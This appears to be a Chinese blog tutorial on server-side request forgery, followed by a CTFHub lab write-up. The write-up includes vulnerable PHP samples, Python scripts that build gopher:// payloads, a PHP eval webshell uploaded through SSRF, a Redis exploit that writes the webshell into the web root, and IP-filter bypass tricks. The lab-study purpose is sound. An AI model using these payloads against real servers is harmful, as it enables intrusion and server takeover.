一、什么是SSRF

1、简单了解

SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。

攻击者利用了可访问Web服务器(A)的特定功能 构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用。

SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。 例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF利用存在缺陷的WEB应用作为代理 攻击远程 和 本地的服务器。

2、漏洞成因

1.服务端提供了从其他服务器应用获取数据的功能

2.没有对目标地址做过滤与限制

比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载文件等等

漏洞产生与危害

在PHP中的curl(),file_get_contents(),fsockopen()等函数是几个主要产生ssrf漏洞的函数

file_get_contents()

//file_get_contents是把文件写入字符串,当把url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了文件读取<?php
if(isset($_POST['url']))
{$content=file_get_contents($_POST['url']);$filename='./images/'.rand().'.img';\file_put_contents($filename,$content);echo $_POST['url'];$img="<img src=\"".$filename."\"/>";}
echo $img;
?>

fsockopen()

//fsockopen()函数本身就是打开一个网络连接或者Unix套接字连接<?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {echo "$errstr ($errno)<br />\n";
} else {$out = "GET / HTTP/1.1\r\n";$out .= "Host: $host\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);while (!feof($fp)) {echo fgets($fp, 128);}fclose($fp);
}
?>

curl()

//利用方式很多最常见的是通过file、dict、gopher这三个协议来进行渗透,接下来也主要是集中讲对于curl()函数的利用方式function curl($url){  $ch = curl_init(); //  初始化curl连接句柄curl_setopt($ch, CURLOPT_URL, $url); //设置连接URLcurl_setopt($ch, CURLOPT_HEADER, 0);  // 不输出头文件的信息curl_exec($ch);   // 执行获取结果curl_close($ch);  // 关闭curl连接句柄
}$url = $_GET['url'];
curl($url);

SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件

内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。

3、漏洞攻击方式

  1. 对外网,服务器所在内网,本地进行端口扫描(挨个试探),获取一些服务的banner信息
  2. 攻击运行在内网或本地的应用程序
  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息,通过访问默认文件实现(如:readme文件)
  4. 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2,SQli等)
  5. 下载内网资源,利用file协议读取本地文件或资源等
  6. 内部任意主机的任意端口发送精心构造的Payload
  7. DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  8. 进行跳板
  9. 利用Redis未授权访问,HTTP CRLF注入实现getshell

二、可以利用的协议

常用URL伪协议

file:///  -- 本地文件传输协议,主要用于访问本地计算机中的文件
dict://   -- 字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628
sftp://   -- SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol)
ldap://   -- 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议
tftp://   -- 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机
gopher:// -- 互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前

三、CTFHUB例题

1、内网访问

要访问内网中的文件,外网无法访问,对应漏洞利用中的5,读取内网中的文件和资源;

拿到flag;

2、伪协议读取文件

Linux的网站目录一般位于/var/www/html/下,尝试利用file协议读取web目录下的源码:

成功读取到源码,拿到flag;

3、端口扫描

摆明了告诉我们要进行内网的端口扫描,看看内网中开放了哪些端口,(耗时较长,一会再回来更);

4、POST请求

接下来的四个题都是利用gopher协议来做的,gopher协议可以参考上面的可以利用的协议;

利用file伪协议读取到index.php

<?phperror_reporting(0);if (!isset($_REQUEST['url'])){header("Location: /?url=_");exit;
}$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

flag.php

<?phperror_reporting(0);if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {echo "Just View From 127.0.0.1";return;
}$flag=getenv("CTFHUB");
$key = md5($flag);if (isset($_POST["key"]) && $_POST["key"] == $key) {echo $flag;exit;
}
?><form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

我们尝试构造payload让本机去访问:

拿到key和一个输入的文本框,但是并没有提交的按钮,可能是想让我们自己利用Gopher协议去发送请求;请求头的构造请自行参考HTTP协议,编码:

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=4f78dd1466e179d295405ff86bec1d61
"""#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

为什么要这样进行编码呢?我理解的是首先用GET将我们构造的请求包发送过去,要进行一次解码,然后是发送POST请求包,又要进行一次解码,所以要进行两次解码;

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D4f78dd1466e179d295405ff86bec1d61%250D%250A

顺利拿到flag,之前做可能是因为没有编码成功,渗透中python可真是个好东西!

ctfhub{b644d27a30b450b2f170c4f19ef1dd85fb1efc5d}

5、上传文件

也是首先读取index.php和flag.php

flag.php

<?phperror_reporting(0);if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){echo "Just View From 127.0.0.1";return;
}if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){echo getenv("CTFHUB");exit;
}
?>Upload Webshell<form action="/flag.php" method="post" enctype="multipart/form-data"><input type="file" name="file">
</form>
?>

只要我们上传文件>0就可以拿到flag;

index.php

<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {header("Location: /?url=_");exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>

通过本机访问,但是他喵的竟然没有提交键,这让我怎么提交,哎,又是Gopher协议,但是请求头哪去了?,我们构造一个提交键,提交并且抓包,此时的并不会提交到flag.php,只是我们自己用来获取请求头用的;

成功获取到请求头,我们把HOST改为127.0.0.1然后再放到我们的python代码中跑。

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520328%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/86.0.4240.198%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522shell.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250Aeval%2528%2524_POST%255Bwhoami%255D%2529%253B%250D%250A%253F%253E%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu--%250D%250A

拿下!!!!!!!

6、FastCGI协议

暂时还没搞太懂,以后再更把

7、redis协议

redis参考资料的链接:

https://www.freebuf.com/articles/web/323640.html

Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。Redis 在默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。,也可以直接写入Webshell或者写入计划任务进行反弹shell。

给出我们redis运行的端口,利用未授权访问攻击Redis的方法有很多,我们可以写webshell、反弹shell,也可以写ssh公钥,这里我们用写webshell的方法。(参考大佬文章)

构造redis命令

flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

我们利用如下Exp脚本生成符合gopher协议格式的payload:

import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmdif __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print urllib.quote(payload)    # 由于我们这里是GET,所以要进行两次url编码

生成如下文件:

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

请求时靶场除了点小bug,

8、urlbypass

绕过方法,简单的几种,合在一块写了:

1、url

也就是说必须以http://notfound.ctfhub.com开头才可以:我们直接构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

成功得到flag。

2、数字ip

127,172,@都被过滤掉了,可以转化进制绕过

127.0.0.1转换为16进制是0x7F000001

3、302跳转bypass

读取源代码进行审计:

flag.php

<?phperror_reporting(0);if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {echo "Just View From 127.0.0.1";exit;
}echo getenv("CTFHUB");

index.php

<?phperror_reporting(0);if (!isset($_REQUEST['url'])) {header("Location: /?url=_");exit;
}$url = $_REQUEST['url'];if (preg_match("/127|172|10|192/", $url)) {exit("hacker! Ban Intranet IP");
}$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

禁掉了很多的网段,但是没有过滤掉localhost,进行绕过;

拿到flag;

4、DNS重绑定:涉及到DNS一些的知识:

可以参考文章:https://www.freebuf.com/articles/network/218576.html

下面这个网站可以将一个域名解析到两个IP上,并在这两个之间不同的跳动

一直刷新,当跳到127.0.0.1时就可以拿到flag;

漏洞原理——ssrf相关推荐

  1. Apache 文件解析漏洞SSRF漏洞原理介绍及代码

    Apache 文件解析漏洞 SSRF漏洞原理介绍及代码 1. Apache 环境简介 2. Apache 解析漏洞介绍 3. 解析漏洞利用演示 4.利用场景介绍 1. Apache 环境简介 ​ Ap ...

  2. SSRF漏洞原理攻击与防御(超详细总结)

    SSRF漏洞原理攻击与防御 目录 SSRF漏洞原理攻击与防御 一.SSRF是什么? 二.SSRF漏洞原理 三.SSRF漏洞挖掘 四.产生SSRF漏洞的函数 五.SSRF中URL的伪协议 六.SSRF漏 ...

  3. 网络安全笔记 -- CSRF漏洞、SSRF漏洞

    1. CSRF漏洞 1.1 CSRF漏洞原理 CSRF(Cross-Site Request Forgery:跨站点请求伪造) CSRF 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的 ...

  4. Web漏洞之SSRF(服务器端请求伪造)

    文章目录 一.漏洞场景 二.漏洞描述 三.漏洞原理 四.漏洞危害 五.漏洞评级 六.漏洞验证 七.漏洞利用 八.漏洞防御 一.漏洞场景 服务器会根据用户提交的URL 发送一个HTTP 请求.使用用户指 ...

  5. Web渗透各种漏洞原理

    SQL注入漏洞原理 参数是用户可控的,也就是前端传入后端的参数的内容是用户可以控制的: 参数被带入数据库进行查询,也就是传入的参数被拼接到SQL语句中,并且被带入到数据库进行查询: xss漏洞原理 由 ...

  6. 网络安全-SSRF漏洞原理、攻击与防御

    目录 概述 原理 挖掘SSRF漏洞 利用技巧 攻击举例 绕过 防御 工具 参考 概述 SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服 ...

  7. 米斯特白帽培训讲义(v2)漏洞篇 SSRF

    米斯特白帽培训讲义 漏洞篇 SSRF 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 很多 Web 应用都提供了从其他服务器上获取数据的功能.使用用户指定的 URL,web ...

  8. Web安全常见漏洞原理、危害及其修复建议

    web安全常见漏洞原理.危害及其修复建议 一. SQL注入漏洞 原理 危害 修复建议 二.XSS漏洞 原理 危害 修复建议 三. CSRF漏洞 原理 危害 修复建议 四. SSRF漏洞 原理 危害 预 ...

  9. 网安基础学习之“文件上传漏洞原理与实现”

    网安基础学习之"文件上传漏洞原理与实现" 近期新闻头条上报出了"长沙市场监管局网站被上传了黄色页面",经过长沙市公安局网技支队的排查,该门户网站后台编辑器存在* ...

最新文章

  1. web前端培训分享:使用Dplayer实现Vue3中的视频及弹幕播放
  2. linux 下 读取某个文件的某一行或者某几行
  3. linux-shell命令之chown(change owner)【更改拥有者】
  4. 【Leetcode | 】93. 复原IP地址
  5. day44-前端知识之HTML内容
  6. linux gcc g++编译命令选项
  7. 技术分享连载(二十七)
  8. java多线程基本概述(二)——Thread的一些方法
  9. 最近对焦距离与最大放大倍率
  10. centos mysql 主从安装_基于 CentOS Mysql 安装与主从同步配置详解
  11. C++ 类的封装继承多态
  12. python海龟画图函数汇总
  13. C语言刷题训练营-第一讲
  14. python 协程是啥_Python中的协程是什么
  15. 安装win7时,显示缺少所需的CD/DVD驱动器设备驱动程序
  16. python for in range 什么意思_python中range什么意思,
  17. CBOW(Continous Bag of Words)模型学习(2020-08-19)
  18. PTA 7-47 打印选课学生名单
  19. Java 面向对象(一)
  20. MATLAB 绘制时钟(同步当前时间)

热门文章

  1. C++ 身份证设定(复合类+拷贝构造)
  2. 黑苹果装机成功需要做的几件事
  3. eps罗马柱头制作方法_元阳好的eps罗马柱批发价格,罗马柱子制作
  4. 对话昔日“斜杠青年”西蒙斯:传奇数学家的别样人生
  5. OpenCV学完基础知识不知道做什么?!我不相信这是真的
  6. soj 3172 Fisherman (01背包的装满)
  7. dbg 寻找main函数
  8. 用聚宽网写双均线策略(1)
  9. 学习python之积累别人的好东西
  10. Element Table 反选